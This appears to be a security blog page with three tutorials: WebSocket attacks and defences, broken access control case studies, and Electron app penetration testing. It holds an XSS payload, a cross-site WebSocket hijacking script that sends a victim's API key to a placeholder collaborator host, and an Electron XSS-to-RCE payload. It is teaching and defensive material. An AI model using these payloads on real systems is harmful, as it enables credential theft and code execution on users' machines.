Invest in Cyber Security: Cyber security preferences depend on the type of organization, the structure, the size, number of employees, locations, and other essential factors.

With so much of our personal information existing on a digital platform, keeping it safe from cyberattacks can be daunting. On top of that, the malicious activity is getting better and better with the passing time.

We’ve tried to provide knowledge and input to help organizations and users understand the risk of the trending attack and some information on precautions to protect their business and interests. We aim to make the internet a secure place, and we hope this blog serves our commitment. Keep following us for more insights about safe internet.

WebSockets Security Explained for Security Enthusiasts

Introduction

Today we are going to take a dive into WebSockets and how we can exploit vulnerabilities/misconfigurations in WebSockets. At the end, we will also go on how to secure WebSockets to prevent such vulnerabilities from arising in the first place. Before going into WebSocket security, let’s first get our feet wet by understanding what WebSockets are.

What are WebSockets?

HTTP is a request-response protocol. It means that a response is always preceded by a request; the server would not send anything unless asked for. With the advent of real-time applications, latest problems came into existence. Applications require immediate real-time information with as little latency as possible. To get new information, the clients would have to send repeatedly requests to the servers. The traditional request-response model is not an ideal solution to this problem. Since HTTP is a stateless protocol, the server and client would have to perform the three-way handshake at the start of each such request.

In such situations, we can use WebSockets. They are full-duplex TCP connections between the server and client. The key difference between regular HTTP connections and WebSockets is that the latter provides long-lived and asynchronous communications. Communication is non-transactional (as in request-and-then-response). The connection stays open and remains idle until either the client or the server sends a message.

The WebSocket handshake

At the beginning of a WebSocket connection, the client initiates a WebSocket handshake over HTTP. If the server accepts the connection request, it responds with HTTP status code 101 (Switching Protocols). Let us understand this handshake process step by step:

  1. The client initiates the WebSocket handshake by sending a request to the server. This request includes the following key features:
    • “Connection: Upgrade” header: With this header, the client requests the server that it wants to upgrade to the WebSocket connection. The server responds with the HTTP 101 “Switching Protocols” response.
    • “Sec-WebSocket-Version” header: This header specifies the WebSocket protocol version the client wishes to use. The server checks and confirms if it supports that version. If the server can’t communicate using the specified WebSocket protocol version, the server responds with its supported version using this same header.
    • “Sec-WebSocket-Key” header: It contains a Base64 encoded random key calculated using an algorithm defined in the WebSocket specification.
  2. The server accepts the connection request and responds to the client with a “HTTP 101 Switching Protocols” response status. The response contains the following key feature:
    • “Sec-WebSocket-Accept” header: The value of this header is calculated on the server. First the server concatenates the value obtained from the “Sec-WebSocket-Key” and the Globally Unique Identifier (GUID) “258EAFA5-E914-47DA-95CA-C5AB0DC85B11” which is defined in RFC6455. Then it takes the SHA-1 hash of the resulting string and base64 encodes this hash that is finally sent via this header to the client. The client verifies this value to confirm that the server can indeed support WebSocket connections. It does not have any part in ensuring WebSocket security.
  3. The handshake is now complete, and both the parties can communicate via WebSockets in either direction.

WebSocket connections are created using client-side JavaScript as shown below:

var ws = new WebSocket(“ws://example.com/ws”);

Notice that instead of the http:// scheme, we use ws://. Similar to https://, we have wss:// which is WebSockets over TLS. Messages are sent as such ws.send(“Hello World!”). Below is the request and response for the handshake: Request:

GET /ws HTTP/1.1

Host: localhost:1337

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Sec-WebSocket-Version: 13

Origin: http://localhost:5500

Sec-WebSocket-Key: LIjOxGJBPA6fngs2PGsBzg==

Connection: keep-alive, Upgrade

Cookie: PHPSESSID=5e042rto2ppd16gg1ge8jr6qmf

Pragma: no-cache

Cache-Control: no-cache

Upgrade: websocket

Response:

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: iTRZLLyuhVG1BnH5USBIM/cpC/Q=

Attacks on WebSocket security

Improper implementation of WebSockets can lead to some severe vulnerabilities. User input transmitted to the server without proper sanitization can cause vulnerabilities such as SQL injections. If unsanitized input is transmitted to other clients, it might lead to client-side vulnerabilities such as cross-site scripting.

Manipulating WebSocket messages:

Injection attacks can be an outcome if an attacker can manipulate WebSocket messages and the server does not properly validate them. An attacker can use a proxy tool such as BurpSuite to send specially crafted messages bypassing client-side validation. If the server does not properly check the contents of the input for special characters or malicious input, an attacker can perform attacks.

For example, let us consider a real-time chat application where different clients can join a chat room and chat together. An attacker can send an XSS payload in the message. The application sends the attacker’s input as is and, therefore, the XSS payload gets executed on all the other active participants in that chat room. A proof-of-concept message for XSS over WebSockets is shown below:

{“user”:”attacker”,”message”:”<img src=x onerror=’alert(1337)'”}

 

Cross-Site WebSocket hijacking (CSWSH):

When the WebSocket handshake only depends solely on the HTTP cookies for the handling of sessions without implementing CSRF protections, we get Cross-Site WebSocket hijacking vulnerability. If you do not know what CSRF is, in short, it is a vulnerability that arises when applications handle their user’s actions solely only on the user’s cookies. This allows attackers to cause authenticated victim users to perform unwanted actions on the vulnerable application.

Also, since WebSockets are not secured by the Same-Origin Policy, attackers can initiate a cross-site WebSocket request from a malicious website that they control. The attack would allow the attacker to send arbitrary messages on behalf of the victim via this established connection. The attacker can even read sensitive information if the vulnerable application contains functionality to retrieve sensitive information. Suppose the WebSocket at ws://localhost:1337 is vulnerable to this attack. It contains functionality to retrieve the API key of users with the get-api-key message. For exploitation, we can simply write a script as such:

<script type=”text/javascript”>

        var ws = new WebSocket(“ws://localhost:1337/ws”);

        ws.onopen = (conn)=>{

            ws.send(“get-api-key”);

            ws.onmessage = (message)=>{

                url = “http://<your-collaborator-id>.burpcollaborator.net/?msg=” + btoa(message.data);

                xhr = new XMLHttpRequest();

                xhr.open(“GET”, url, true);

                xhr.send();

            }

        }

</script>

Simple proof of concept

 

When the victim visits this page, a new WebSocket connection bound to their session would be created. The script will request for the API_KEY with the get-api-key message. The response would then be sent over to our burp collaborator server as displayed below:

Retrieving sensitive data using CSWSH

Securing WebSockets

Attacking WebSockets without knowing how to protect them makes WebSocket security incomplete. In this section, we discuss different ways on how we can secure WebSockets.

  1. Verifying the Origin Header

The Origin request header indicates the origin of the request. This header is designed to protect against cross-origin attacks. The server validates whether the origin is trustworthy. If not, the request is rejected. Requests from untrusted origins are dropped. Since the Origin header can’t be set programmatically (using JavaScript), the attacker can’t spoof this header on the victim’s end.

  1. Using CSRF protections

By using anti-CSRF headers such as X-CSRF-Token, cross-site attacks can be averted. These tokens should be generated on the server-side, should be random and unguessable. These tokens should be validated in the request.

  1. Using WebSocket Secure (WSS)

Encrypted wss:// protocol should be used over the unencrypted ws:// protocol. WSS is WebSockets over SSL/TLS and encrypted thus helping protect against man-in-the-middle attacks.

  1. Validating client input

A simple rule of thumb is to not trust user input. Always be prepared to properly validate and sanitize users’ input. These can come a long way in preventing a plethora of attacks, especially injection-based attacks.

Conclusion

I believe this blog gives you a brief understanding of WebSockets and WebSocket security. I hope you loved reading it as much as I did writing it.

Broken Access Control: Pen tester’s Gold Mine

Broken Access Control: Pen tester’s Gold Mine

Hey folks, hope you all are doing well! Recently OWASP Top 10 2021 was released and the Broken Access Control grabbed the first position with the most serious security risk. Broken Access Control issues are present when the restrictions imposed are only on the frontend and the backend APIs are never secured. Using the easily enumerable IDs is the root cause of Insecure Direct Object References (IDORs).

In this blog, I will be mostly focusing on my approach and scenarios which I encountered.

 

Broken Access Control 101

Broken Access Control in simple words means performing the actions outside the set of allowed permissions.

Whenever I test any application which has user roles, I ask myself the following questions:

  • What are the permissions of this user?
  • Is the user having permission to perform this action?
  • Can this user view this data?
  • What will be the business impact if the imposed access control can be broken?

Scenarios Encountered While Testing Applications for Broken Access Control:

Let’s see some of the scenarios which I encountered.

Scenario 1 – IDOR in Password Vault

The application was a password vault. The application allowed the user to store and update the usernames, passwords, ssh keys, and website URLs. When I was testing update account functionality, the application for the password field said: “Leave blank to keep current password”.

Seeing this I questioned myself: How is it binding the password to this account?

After observing the POST request for saving the password I came to know that the application is linking the passwords using a   credential_id.

The post request made me curious. So, I meddled with the request by changing it to some other id. I was surprised to see that the account got updated; however, I wondered where I could see the updated passwords. I checked the application and pondered upon a button that tracks password history and showcases passwords to the users. I was shocked to see a password that was never mine! Hence, Insecure Direct Object Reference (IDOR) led me to enumerate the passwords of all accounts in the organization leading to a simple Broken Access Control issue.

Scenario 2 –  Breaking the Business Logic in Energy Tender Management Platform

In this scenario, the application was some sort of energy tender management platform. In this, the tender was to be approved by higher privileged users. The lower privileged users can only draft the tender and submit it to the Admin for approval. There was one business logic imposed in this application which is when any user is editing the tender details, the other user cannot edit it. For example if the USER1 is editing the questionnaire the USER2 cannot. The tender is locked for this USER2. When the USER2 tried to open the tender for edit while the USER1 is editing, the application will give the following error message:

As per my assumption, the business logic behind the application is that when the Admin is approving the questionnaire, the lower privileged user must not edit it. Because when I tried updating the tender directly by making a PATCH request to the API. The API responded with the following message:

While looking at the response, I discovered that the PUT method is allowed in this case. I changed the method to the PUT method and forwarded the request. To my surprise, the questionnaire got updated. So, by changing the method, I was able to bypass the imposed access control.

Scenario 3 – Pattern-based Shipment IDs

This application was for fleet management. This application segregates the companies into groups so that each company can view its shipments. The API request was in the following manner:

https://company.com/api/shipments/XXXXXXXX

Here the id was in capital letters and eight characters long.

Now, if we think of brute-forcing the same, it would have around 268 permutations. I dug a bit deeper to analyze if there is any pattern in the id, and it turned out that the first four characters were the first four letters of the name of the organization and the last four letters were random characters.

So, for example, if the company’s name is TESTING Ltd, the id would be TESTxxxx, where x is any alphabet.

Now the permutations are lowered down to 264. So by knowing the name of the company, I was able to brute force the rest of the characters and view their shipments. Analyzing the id made the permutations much lower and practically possible. It made the IDOR almost possible.

Scenario 4 – Using Database of Another User

Here the application was a project management platform. It allows users to upload databases. The user can also create projects in the application. While working on it, I observed that the dataset uploaded by the user could be associated with the project. 

When I uploaded the dataset, the application responded with an integer as the dataset id. The application stores the dataset and assigns a sequential numerical integer as an id. With such IDs, there can be the possibility of IDOR.

So, while creating the project, I observed that the application was passing a dataset. I changed it to the dataset of another user and successfully saved the project. Hence, I was able to attach the database of other users to my project.

Scenario 5 – Analyzing the Flow of Requests

In this case, the application was for entity and database management. It had a view-only user and an admin role. There were many vulnerable modules in this application. I was trying to perform all the CRUD operations from the view-only user’s session. The operation which grabbed my attention was DELETE. The application implemented a 2 step delete process:

First, it sent a request to delete the endpoint, which redirected to confirm the delete endpoint, and the response also had some cookies.

Next, using these cookies, the application sent a request to confirm the delete endpoint and the entity deleted. There was no entity id present in the request. So, it was using the cookies assigned in step 1 identify the entity to be deleted.

Using the cookies of the View-only user, I first sent a request to the delete endpoint with the entity id to delete, copied the cookies obtained in the response, and sent a request to confirm the delete endpoint. By understanding the flow of requests in the application, I was able to break the access control imposed.

Key Takeaways:

For Security Researchers:

  • Dig deeper into the application and understand the flow of requests.
  • Observe the requests closely and try to understand the significance of each parameter in the request.
  • If you are given more than 2 roles, don’t always focus on the least and the highest privileged roles. There can also be flaws in the access control roles with the mid-privileged roles.
  • Try to understand the application, use all the functionalities, and then focus on finding flaws in one functionality at a time. Dig as much as deep you can.
  • Reading the documentation of the application helps a lot in understanding the core logic and permission to various roles assisting you in discovering broken access control issues.

For Developers:

  • Whenever you are developing the application don’t impose access controls from the frontend only.
  • Impose Access control checks on the API endpoints too.
  • Always keep in mind to have server-side checks for the access control before committing the operation.
  • Use GUIDs for referencing the objects.

Once Sir Albert Einstein truly said :

“If I had an hour to solve a problem and my life depended on the solution, I would spend the first 55 minutes determining the proper question to ask for once I know the proper question, I could solve the problem in less than five minutes.”

Questioning properly helps you analyze how the application behaves and come out with various unique test cases. There are misconfigurations at many places. Many times the access control is imposed only on frontend, so checking the APIs or POST request can reveal the issues.

An Intro To : Electron Application Penetration Testing.

Hi Folks, Do you want to try performing electron application penetration testing? but having trouble in knowing where to start?

If you’re looking for a quick introduction on electron application penetration testing, this blog post walks you through some fundamental concepts like reversing the Electron applications, identifying vulnerabilities in dependencies & XSS == RCE.

Let’s start with the obvious: What is ElectronJs.

The Electron is an open-source desktop application framework. You might be wondering what’s special with Electron JS. The key takeaway is that you won’t need to spend time learning new programming languages to develop desktop apps if you’re already familiar with JS, HTML, and CSS. You can get straightaway into building the desktop app if you have adequate web development skills. On another note, Electron JS enables you to create cross-platform programs that run on Windows, Mac OS X, and Linux

Electron combines Chromium and Node.js, a JavaScript runtime based on Chrome V8 JavaScript engine.

For more : https://www.electronjs.org/

Reversing Electron Applications:

In Electron application penetration testing, reversing is the process through which you get to lay hands on the electron source code. Which is paramount as it allows you to examine the electron source code and identify the application security flaws. In this part, let’s get straight into processes required in reversing Electron apps.

Reversing .exe files

In the Windows platform, reversing the electron application is quite simple. Please follow the steps outlined below.

  • You can download the Notable app from the following link.
  • Install the downloaded application.
  • Right-click on the application > Open file location.
b1i2
  • You may locate the application installed directory using the steps indicated above. There might be a chance to find something interesting and sensitive in this directory.
  • Navigate the “resources” directory.
  • You can now see the app.asar file, which will be utilized for further examination and analysis.
b1i3

Reversing .asar

For those who are not so familiar with asar files, an asar file is an archive that contains the source code for electron applications. Let’s try to reverse the .asar file that we obtained in the previous step.

Note:
To continue, you’ll need to install node js and npm. The installation instructions can be found at the following URL: https://nodejs.org/en/download/.

  • Install asar.

npm install -g asar

  • Extract app.asar file.

asar extract app.asar dest-folder

  • The .asar package has been extracted, now we can examine the source code.

Identifying dependencies’ vulnerabilities

Third-party or open-source code is turning out to be inevitable for most of the applications that we deal with on a daily basis. If any dependencies utilized in applications are insecure, the programme is likewise vulnerable. Which would definitely lead to undesired results.

The npm audit command comes handy here. It will assist you in identifying known vulnerabilities in your project’s dependencies. Let’s now take a look at how to execute the npm audit command below.

  • To scan the Notable app, use the command following inside the extracted directory.

npm audit

  • You will most likely see an error like this.

npm ERR! code ENOLOCK

npm ERR! audit This command requires an existing lockfile.

npm ERR! audit Try creating one first with: npm i –package-lock-only

npm ERR! audit Original error: loadVirtual requires existing shrinkwrap file

 

npm ERR! A complete log of this run can be found in:

npm ERR!     C:\Users\username\AppData\Local\npm-cache\_logs\2022-02-13T18_14_44_485Z-debug-0.log

 

  • To resolve the problem, run the command.

npm i –package-lock-only

  • Run the npm audit command again.

npm audit

Electron XSS exploitation

Install the Electro-XSS vulnerable app by downloading it from here. The installation instructions can be found in the git repository.

Before we begin exploiting the application, let’s have a look at the source code and identify the security flow.Open the Electro-XSS project in any text editor to begin exploring the source code.

File : package.json

The package.json file contains various metadata, as well as dependency and version details. For more details : https://docs.npmjs.com/cli/v8/configuring-npm/package-json

You can see the “main” field in the package.json file, which points to the project primary entry point. Let’s take a look at index.js, which is our primary entry point in this case.

File: Index.js

  • This application uses the app and BrowserWindow electron modules.
    • app : This module can be used to manage your application’s events.
    • BrowserWindow : The application windows can be created and maintained using this module.
  • If the application’s basic startup is completed, the ready event function callback is invoked, and the BrowserWindow builds the main window, and then loads the index.html file using MainWindow.loadURL.

 

File : Index.html

The application’s frontend is the index.html page. The frontend is what you see and interact with on your browser.

  • Go to the views folder and locate the index.html file.
  • At the bottom of the index.html file, look for the jQuery script.

<script type=”text/javascript”>

  $(document).ready(function(){

 

    $(‘#clickme’).on(‘click’, function (){

       var msg = $(‘#msg’).val();

       $(“#imhere”).append(“<li class=’clearfix’> <div class=’message my-message’> ” + msg +” </div>   </li>”);

       $(“#msg”).val(”);

    })

  });

</script>

 

Do you noticed that? Yes, the application takes the user input directly and appends to the elements without having any validation. hence we can execute arbitrary JavaScript via a crafted message.

Now that we’ve discovered the flaw, let’s try to exploit the Electro-XSS application.

  • Run the Electro-XSS Application.

npm run electro-xss

  • To trigger the XSS, use the payload below.

<img src=x onerror=alert(1) />

XSS == RCE

Now that we’ve successfully exploited XSS, let’s see whether we can use it to perform an RCE. To do so, we must first examine the configurations.

  • Navigate to the index.js file in the Electro-XSS project.

  webPreferences: {

            nodeIntegration: true,

            contextIsolation: false,

        }

In the index.js file, you’ll see webPreferences, which are settings of features that can be enabled in web pages. Let’s see what features are enabled.

  • nodeIntegration : The nodeIntegration feature is set to true, enabling DOM access to the nodejs APIs. This is something that hackers seek; if nodeIntegration is enabled, attackers can use XSS to invoke nodejs functions, resulting in RCE.
  • contextIsolation : The feature ensures that both your preload scripts and Electron’s internal logic run in a separate context to the website you load in a webContents.

So we know that the nodeIntegration feature allows us to invoke the node JS APIs, which means we can use XSS to invoke node js APIs, resulting in RCE.

  • To get RCE, use the payload below.

<img src=x onerror=alert(require(‘child_process’).exec(‘calc’)); />

Conclusion

I hope this article has given you a better understanding of Elecron JS and its security issues.I believe this could present a basic outline for any tech enthusiasts to build and experiment that could inspire and contribute to the community. Feel free to reach out if you have any doubts.

Scroll to Top